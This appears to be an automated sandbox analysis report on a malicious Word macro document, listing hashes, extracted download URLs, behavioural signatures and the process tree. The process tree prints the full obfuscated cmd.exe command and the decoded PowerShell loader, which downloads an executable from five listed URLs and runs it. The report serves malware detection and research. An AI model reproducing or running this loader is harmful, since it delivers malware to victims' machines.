Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23/05/2024, 11:36
Behavioral task
behavioral1
Sample
6acfc827bf70cfd4fc9cd36f66ebba6c_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
6acfc827bf70cfd4fc9cd36f66ebba6c_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
6acfc827bf70cfd4fc9cd36f66ebba6c_JaffaCakes118.doc
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Size
124KB
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MD5
6acfc827bf70cfd4fc9cd36f66ebba6c
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SHA1
cb32b63048a1368cceb3a2114ca6fe640ee440cd
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SHA256
fbb1873ef58fdcc8f875e6450150e7a378e86deb32cb3525fd23d3791bf192ad
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SHA512
08fe27514c28daaaa5278ab990f84a0ceaf3075eda9d157f01739de20574a30e811b610c84a0e51cc011c875005411f041d6feabf6601895c04a5738505232ec
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SSDEEP
1536:nptJlmrJpmxlRw99NBc+aSwT+75RnuwACdRR2XGUggBlpF7xpy7RMANuk:pte2dw99fVtRIWwYMKuk
Malware Config
Extracted
http://hollywoodgossip.biz/GpyDtTIIO1
http://charpentier-couvreur-gironde.com/2Agu5kOrh7
http://surprise-dj-team.com/2Atuefrxm
http://spektramaxima.com/IXx8GGy
http://dc.amegt.com/wp-content/QNhKWYE
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1912 3408 CMd.exe 81 -
Blocklisted process makes network request 2 IoCs
flow pid Process 29 4640 powershell.exe 43 4640 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 1912 CMd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3408 WINWORD.EXE 3408 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4640 powershell.exe 4640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4640 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3408 WINWORD.EXE 3408 WINWORD.EXE 3408 WINWORD.EXE 3408 WINWORD.EXE 3408 WINWORD.EXE 3408 WINWORD.EXE 3408 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3408 wrote to memory of 1912 3408 WINWORD.EXE 87 PID 3408 wrote to memory of 1912 3408 WINWORD.EXE 87 PID 1912 wrote to memory of 4640 1912 CMd.exe 92 PID 1912 wrote to memory of 4640 1912 CMd.exe 92
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6acfc827bf70cfd4fc9cd36f66ebba6c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\SYSTEM32\CMd.exeCMd /V/C"^s^e^t ^2Cv=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^};^k^aerb;^a^G^P^$^ ^m^e^t^I^-^ekovn^I^;)^a^G^P^$^ ^,^J^P^G^$(e^l^i^F^d^ao^ln^w^o^D^.^J^A^h^$^{^yr^t^{)^kR^a^$^ n^i^ ^JP^G^$(^hc^a^er^o^f^;'^e^x^e^.^'^+^u^i^p^$^+^'^\^'^+c^i^l^b^u^p^:vn^e^$^=^a^G^P^$^;^'^5^2^7^'^ ^=^ ^u^i^p^$^;)'^@^'(^t^i^l^p^S.^'E^Y^W^K^hN^Q/^tn^e^tn^oc^-^p^w/^m^oc^.^tg^e^m^a^.c^d//^:^p^t^t^h^@^y^G^G^8^x^X^I/^moc^.^a^m^i^x^a^m^ar^tke^ps//^:^p^t^t^h^@^m^xr^f^e^u^t^A^2/^m^oc^.^m^a^e^t^-^j^d^-^e^s^ir^pr^u^s//^:^p^t^t^h^@^7^hr^Ok^5^u^g^A^2/^m^oc^.^e^dn^or^i^g^-r^u^erv^u^oc^-r^e^i^tn^e^pr^a^hc//^:^p^t^t^h^@^1^O^I^I^Tt^D^y^p^G/^z^i^b^.^p^i^s^s^o^g^d^o^ow^y^l^l^o^h//:p^t^t^h^'^=kR^a^$^;^tn^e^i^lC^b^e^W^.^t^eN^ ^tc^e^j^b^o^-^w^en^=^J^A^h^$^ ^l^l^e^h^sr^e^w^o^p&&^f^or /^L %^3 in (^4^0^8^,^-^1^,^0)^d^o ^s^e^t n^b^T^z=!n^b^T^z!!^2Cv:~%^3,1!&&^i^f %^3=^=^0 c^a^l^l %n^b^T^z:^*n^bT^z^!^=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $hAJ=new-object Net.WebClient;$aRk='http://hollywoodgossip.biz/GpyDtTIIO1@http://charpentier-couvreur-gironde.com/2Agu5kOrh7@http://surprise-dj-team.com/2Atuefrxm@http://spektramaxima.com/IXx8GGy@http://dc.amegt.com/wp-content/QNhKWYE'.Split('@');$piu = '725';$PGa=$env:public+'\'+$piu+'.exe';foreach($GPJ in $aRk){try{$hAJ.DownloadFile($GPJ, $PGa);Invoke-Item $PGa;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4640
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1KB
MD58f7f00a611329a46432d78bd304d4ecf
SHA19b62e33a58fbc143a722293a5cb165439fab3fcd
SHA2569c6be0dcf9e7dfbfc9f7265a3cfd6e88cd63b642ae96a8528def16604c603d81
SHA5122eb9ed2c353c4e366c45816f42242ef08fdee09bace338e45450ea1168e501fa3e6ac61af4cb68b51725f94f833530dec51559e36c7d2fa5895d85e5a308f40b